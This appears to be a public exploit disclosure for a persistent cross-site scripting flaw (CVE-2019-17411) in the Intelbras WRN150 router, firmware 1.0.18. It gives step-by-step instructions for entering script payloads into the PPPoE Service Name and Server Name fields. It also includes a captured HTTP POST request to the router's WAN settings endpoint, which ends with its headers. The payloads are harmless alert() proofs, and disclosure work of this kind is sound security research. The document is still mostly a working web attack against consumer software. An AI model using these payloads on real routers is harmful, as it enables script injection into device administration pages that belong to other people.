# Exploit Title: Intelbras Router WRN150 1.0.18 - Persistent Cross-Site Scripting # Date: 2019-10-03 # Exploit Author: Prof. Joas Antonio # Vendor Homepage: https://www.intelbras.com/pt-br/ # Software Link: http://en.intelbras.com.br/node/25896 # Version: 1.0.18 # Tested on: Windows # CVE : CVE-2019–17411 # PoC 1: 1) Login to your router 2) After signing in as WAN Settings 3) Select for PPPOE mode 4) In the Service Name and Server Name field, enter any of these payloads: <script> alert ("Hacked") </script> <script> alert (1) </script> # PoC burp.txt POST /goform/AdvSetWan HTTP/1.1 Host: TARGET Content-Length: 281 Cache-Control: max-age=0 Origin: http://TARGET Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://TARGET/wan_connected.asp Accept-Encoding: gzip, deflate Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: ecos_pw=bWFkYXJhMTIxMQ==2dw:language=pt Connection: close